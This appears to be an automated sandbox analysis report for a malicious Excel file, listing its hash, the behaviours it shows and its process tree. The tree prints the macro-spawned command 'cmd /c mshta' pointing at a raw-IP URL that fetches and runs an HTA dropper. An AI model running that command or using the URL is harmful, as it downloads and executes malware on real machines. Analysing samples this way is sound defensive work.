Analysis
- max time kernel
127s - max time network
126s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
27/01/2022, 18:35
General
- Target tmpjo4bp2vl.xls
- Size 154KB
- Sample220127-w8llvshff7
- SHA256 02bdae02375e460cc70afe19210b16e7dfe809d4b15abd648ec0f7e672dcc14e
Malware Config
Extracted
-
hta
-
hta.dropper
http://91.240.118.168/qqqw/aaas/se.html
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious use of SetWindowsHookEx 13 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpjo4bp2vl.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c mshta http://91.240.118.168/qqqw/aaas/se.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta http://91.240.118.168/qqqw/aaas/se.html3⤵
- Blocklisted process makes network request
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/768-118-0x00007FFF06850000-0x00007FFF06860000-memory.dmp
memory/768-119-0x00007FFF06850000-0x00007FFF06860000-memory.dmp
memory/768-120-0x00007FFF06850000-0x00007FFF06860000-memory.dmp
memory/768-121-0x00007FFF06850000-0x00007FFF06860000-memory.dmp
memory/768-122-0x00007FFF06850000-0x00007FFF06860000-memory.dmp
memory/768-131-0x00007FFF03D00000-0x00007FFF03D10000-memory.dmp
memory/768-132-0x00007FFF03D00000-0x00007FFF03D10000-memory.dmp
memory/768-290-0x00007FFF06850000-0x00007FFF06860000-memory.dmp
memory/768-291-0x00007FFF06850000-0x00007FFF06860000-memory.dmp
memory/768-292-0x00007FFF06850000-0x00007FFF06860000-memory.dmp
memory/768-293-0x00007FFF06850000-0x00007FFF06860000-memory.dmp